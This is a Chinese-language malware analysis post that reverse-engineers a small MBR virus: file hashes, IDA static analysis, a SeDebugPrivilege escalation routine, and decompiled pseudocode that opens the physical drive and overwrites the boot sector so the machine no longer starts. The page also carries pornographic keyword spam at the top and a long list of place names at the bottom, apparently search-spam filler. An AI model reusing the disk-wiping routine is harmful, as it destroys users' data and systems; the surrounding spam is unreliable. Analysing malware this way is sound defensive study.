最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

一個(gè)簡(jiǎn)單的MBR病毒

2023-03-24 10:00 作者:rkvir逆向工程學(xué)院  | 我要投稿

一、病毒簡(jiǎn)介

文件名稱
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
文件類型(Magic)
PE32 executable (console) Intel 80386, for MS Windows
文件大小
36.00KB
SHA256
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
SHA1
d164561158ae4bb75512a34f06521a7203ba64a9
MD5
955b66c722ca993dd11fbe56bbf92525
CRC32
31E79506
SSDEEP
384:ePjkT1e0/tmFfC92xAgl1PjfvjKrC9hW6yilkKzJWt:ojkY0/EF6CXPjfx46Dl/JWt
ImpHash
9a06fce838eff426c6ee75ab22366372

二、環(huán)境準(zhǔn)備

操作系統(tǒng)

調(diào)試工具

Win7x86

IDA

三、靜態(tài)分析

因?yàn)檫@個(gè)病毒很簡(jiǎn)單,所以沒有行為分析,直接看源代碼就好了,把樣本拖入到PEID中,無殼,VC6++寫的:



直接拖到IDA,進(jìn)入main函數(shù):



可以看到只有倆個(gè)函數(shù),先看第一個(gè),參數(shù)SeDebugPrivilege是Windows字符權(quán)限名稱,大概已經(jīng)知道第一個(gè)函數(shù)是干嘛的了,進(jìn)入sub_401000中:



很明顯一個(gè)提權(quán)代碼,通過GetCurrentProcess獲取當(dāng)前句柄,然后獲取進(jìn)程訪問令牌的句柄,函數(shù)原型如下:

BOOL OpenProcessToken(
????????? HANDLE??? ProcessHandle,??? //要修改訪問權(quán)限的進(jìn)程句柄
????????? DWORD??? DesiredAccess,??????? //指定你要進(jìn)行的操作類型
????????? PHANDLE??? TokenHandle?????? //返回的訪問令牌指針
??? );

然后獲取權(quán)限對(duì)應(yīng)的LUID值,這就要用到另外一個(gè)API函數(shù)LookupPrivilegevalue,其原形如下:

BOOL LookupPrivilegevalue(
LPCTSTR lpSystemName, // system name
LPCTSTR lpName, // privilege name
PLUID lpLuid // locally unique identifier
);
第一個(gè)參數(shù)是系統(tǒng)的名稱,如果是本地系統(tǒng)只要指明為NULL就可以了,第三個(gè)參數(shù)就是返回LUID的指針,第二個(gè)參數(shù)就是指明了權(quán)限的名稱,如“SeDebugPrivilege”。

接下來就是通過AdjustTokenPrivileges修改權(quán)限了:

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, // handle to token
BOOL DisableAllPrivileges, // disabling option
PTOKEN_PRIVILEGES NewState, // privilege information
DWORD BufferLength, // size of buffer
PTOKEN_PRIVILEGES PreviousState, // original state buffer
PDWORD ReturnLength // required buffer size
);
第一個(gè)參數(shù)是訪問令牌的句柄;第二個(gè)參數(shù)決定是進(jìn)行權(quán)限修改還是除能(Disable)所有權(quán)限;第三個(gè)參數(shù)指明要修改的權(quán)限,是一個(gè)指向TOKEN_PRIVILEGES結(jié)構(gòu)的指針,該結(jié)構(gòu)包含一個(gè)數(shù)組,數(shù)據(jù)組的每個(gè)項(xiàng)指明了權(quán)限的類型和要進(jìn)行的操作; 第四個(gè)參數(shù)是結(jié)構(gòu)PreviousState的長(zhǎng)度,如果PreviousState為空,該參數(shù)應(yīng)為NULL;第五個(gè)參數(shù)也是一個(gè)指向TOKEN_PRIVILEGES結(jié)構(gòu)的指針,存放修改前的訪問權(quán)限的信息,可空;最后一個(gè)參數(shù)為實(shí)際PreviousState結(jié)構(gòu)返回的大小。

完事返回上層,我們看下一個(gè)函數(shù)sub_401090:



這里首先是一個(gè)內(nèi)存清空操作,然后對(duì)Buffer進(jìn)行了填充拷貝,我們?nèi)タ磓memcpy第二個(gè)參數(shù):



可以看到一串字符串,L am virus!,** you,接下來看其他函數(shù):

HANDLE __cdecl sub_401090()
{
? HANDLE result; // eax@1
??HANDLE v1; // esi@1
? DWORD BytesReturned; // [sp+8h] [bp-208h]@2
? DWORD NumberOfBytesWritten; // [sp+Ch] [bp-204h]@2
? char Buffer; // [sp+10h] [bp-200h]@1
? char v5; // [sp+11h] [bp-1FFh]@1
? __int16 v6; // [sp+20Dh] [bp-3h]@1
? char v7; // [sp+20Fh] [bp-1h]@1

? memset(&v5, 0, 0x1FCu);
? v6 = 0;
? qmemcpy(&Buffer, &byte_406030, 0x30u);
? HIBYTE(v6) = 85;
? v7 = -86;
? result = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
? v1 = result;
? if ( result != (HANDLE)-1 )
? {
??? DeviceIoControl(result, 0x90018u, 0, 0, 0, 0, &BytesReturned, 0);
??? WriteFile(v1, &Buffer, 0x200u, &NumberOfBytesWritten, 0);
??? DeviceIoControl(v1, 0x9001Cu, 0, 0, 0, 0, &BytesReturned, 0);
??? CloseHandle(v1);
??? ExitProcess(0xFFFFFFFF);
? }
? return result;
}

接下來是一個(gè)CreateFileA獲取句柄,看看FileName:


這是MBR所在的磁盤驅(qū)動(dòng)器,這里很明顯要對(duì)MBR進(jìn)行操作。然后就是通過DeviceIoControl 將控制代碼直接發(fā)送到指定的設(shè)備驅(qū)動(dòng)程序,使相應(yīng)的設(shè)備執(zhí)行相應(yīng)的操作。然后哦就是寫入操作,把Buffer中的內(nèi)容寫進(jìn)去,沒了。
就倆函數(shù),一個(gè)提權(quán),一個(gè)寫入,我們運(yùn)行一下試試(當(dāng)然,這里提權(quán)沒有成功,):



啥反應(yīng)沒有,然后我們重啟計(jì)算機(jī)就會(huì)發(fā)現(xiàn)無法正常開機(jī)。


一個(gè)簡(jiǎn)單的MBR病毒的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
黔江区| 尉氏县| 保定市| 营山县| 平山县| 五河县| 资溪县| 文山县| 浏阳市| 祁阳县| 霸州市| 东山县| 海南省| 淮滨县| 昭觉县| 新源县| 藁城市| 饶河县| 清流县| 会宁县| 沙雅县| 临潭县| 平原县| 深水埗区| 增城市| 探索| 淅川县| 威信县| 宜城市| 密山市| 乌兰察布市| 鹤壁市| 达州市| 云阳县| 民丰县| 铜鼓县| 祁门县| 从化市| 肥西县| 大竹县| 盐边县|